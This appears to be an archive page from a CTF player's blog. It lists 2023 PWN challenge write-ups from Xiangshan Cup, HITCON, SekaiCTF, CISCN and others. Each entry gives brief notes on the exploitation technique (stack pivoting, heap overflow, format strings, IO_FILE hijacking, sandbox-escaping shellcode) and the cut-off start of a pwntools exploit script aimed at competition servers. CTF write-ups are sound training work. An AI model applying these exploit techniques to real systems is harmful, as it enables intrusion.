香山杯 2023 PWN
Move
栈迁移+ret2libc
1234567891011121314151617181920212223242526272829303132333435363738394041#!/usr/bin/python2from pwn import *io = remote('123.56.25.124', 22278)context.binary = 'pwn'libc = ELF('libc.so.6', checksec = False)rc = lambda n : io.recv(n)sa = lambda a, b : io.sendafter(a, b)ia = lambda : io.interactive()uu64 = lambda x : u64(x.ljust(8, b'\x00'))pop_rdi = 0x0000000000401353got ...
柏鹭杯 2023 PWN
一开始直接忘了这个比赛,早上课上到一半看队友在说才想起来(
heap
自己写的堆管理器,洞是堆溢出。小于0x80的堆块类似于cache可以用于劫持next指针实现任意地址分配,大于0x80的堆块在free之后堆头会写上elf段的地址可以用于泄露elf基址,最后利用可控的容易地址分配劫持malloc中里调用的函数指针为backdoor即可
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100#!/usr/bin/python2from pwn import *# io = process('./heap')io = remote('8.130.86.205', 20199)context.binary = 'he ...
HITCON CTF 2023 - SUBformore
SUBformore (13 solves)
一开始想打dl的link_map,结果本地通了,远程调了半天。。。中间还以为是libc版本的问题用各种版本的libc都试了,还用他给的dockfile起了docker然后本地docker打通了结果远程还是不行。最后通过单字节的泄露发现远程和本地的libc除了got表上的数据其它好像都一样(被远程环境坑的最惨的一次,在一血出来前两个小时本地就通了,但就因为远程和本地libc的got表数据不一样把一血给玩没了……
早知道一开始就老实打io_file了(
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#!/usr/bin/python2from pwn import *# io = process(['./lessequalmore', 'chal.txt'])io = remote('chal-lessequalmore.ch ...
SekaiCTF 2023 - Text Sender
10th place
Text Sender (400 pts, 31 solves)
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677#!/usr/bin/python2from pwn import *io = remote('chals.sekai.team', 4000)# io = process('./textsender')context.binary = 'textsender'elf = ELF('textsender', checksec = False)libc = ELF('libc-2.32.so', checksec = False)ru = lambda x : io.recvunt ...
TFC CTF 2023 - INJ
上去看的时候队里的其他师傅已经把PWN写的只剩一题了,然后就半摆烂地把PWN最后那道INJ写了,最后也是被队里的大佬们带飞拿了第一
1st place!
INJ
题目的沙箱
利用shellcode切换至32位进行ORB,需要注意的是远程open返回的文件描述符可能不是3,需要用 mov ebx, eax 来设置read的fd
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081#!/usr/bin/python2from pwn import *context.binary = 'inj'sd = lambda x : io.send(x)sa = lambda a, b : io.sendafter(a, b)def pwn(ch): gl ...
巅峰极客 2023 初赛
赛后半小时出题,我是傻逼。
PWN
linkmap
将got表上的指针写到bss段上,然后部分写 read 的函数指针为 write ,需要爆破一个16进制数位
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899#!/usr/bin/python2from pwn import *context.binary = 'ezzzz'elf = ELF('ezzzz', checksec = False)libc = ELF('libc.so.6', checksec = False)rc = lambda n : io.recv(n)sd = lambda ...
HWS2023夏令营选拔赛
AK了PWN,一个2血+一个3血
PWN
fmt
格串
12345678910111213141516171819202122232425262728293031323334353637383940#!/usr/bin/python2from pwn import *context.binary = 'fmt'libc = ELF('libc.so.6', checksec = False)io = remote('60.204.140.184', 30137)ru = lambda x : io.recvuntil(x, drop = True)sla = lambda a, b : io.sendlineafter(a, b)ia = lambda : io.interactive()uu64 = lambda x : u64(x.ljust(8, '\x00'))l ...
CISCN 2023 华南赛区 记录贴
桂林之旅(虽然还没玩就回学校了
比赛
easynote
scanf函数中格式化 "%ld" 对应的参数没有做取址操作,相当于以size的值为地址写八个字节,并且这里size未进行初始化
利用这个函数可以很容易地提前控制好scanf函数中未初始化的size的值,于是就构成了可控的任意地址写
比赛时我是先利用任意地址写劫持atoi函数的got表为printf函数的plt表,由于atoi的参数是由我们输入控制的,所以就有了可控的格式化字符串,利用这个可以泄露出包括libc地址在内的很多栈上数据。泄露完后再利用任意地址写往bss段上布置好伪造的 IO_FILE 结构体最后劫持stdout指针即可
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889#!/usr/bin/python2fr ...
陕西省省赛 2023 初赛 WP
出了3道PWN,两个一血一个二血,总排名不前
线下旅游梦再次破灭(
这里还是只贴自己打的题吧
PWN
陕西游玩
格串泄露ELF基址,栈溢出ret2text
1234567891011121314151617181920#!/usr/bin/python2# -*- coding: UTF-8 -*-from pwn import *io = remote('121.196.192.181', 10001)# io = process('./pwn')context.binary = 'pwn'ru = lambda x : io.recvuntil(x, drop = True)sa = lambda a, b : io.sendafter(a, b)sla = lambda a, b : io.sendlineafter(a, b)ia = lambda : io.interactive( ...
CISCN 2023 初赛 WP
出了4道题,3道PWN和1道Misc。
排名不前,希望能有机会进分区赛(
这里就只贴自己打出的题了
PWN
烧烤摊儿
整数溢出,栈溢出
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647# -*- coding: UTF-8 -*-from pwn import *io = remote('39.106.71.184', 37247)context.binary = 'shaokao'sd = lambda x : io.send(x)sl = lambda x : io.sendline(x)sla = lambda a, b : io.sendlineafter(a, b)ia = lambda : io.interactive()def menu(choice): sla( ...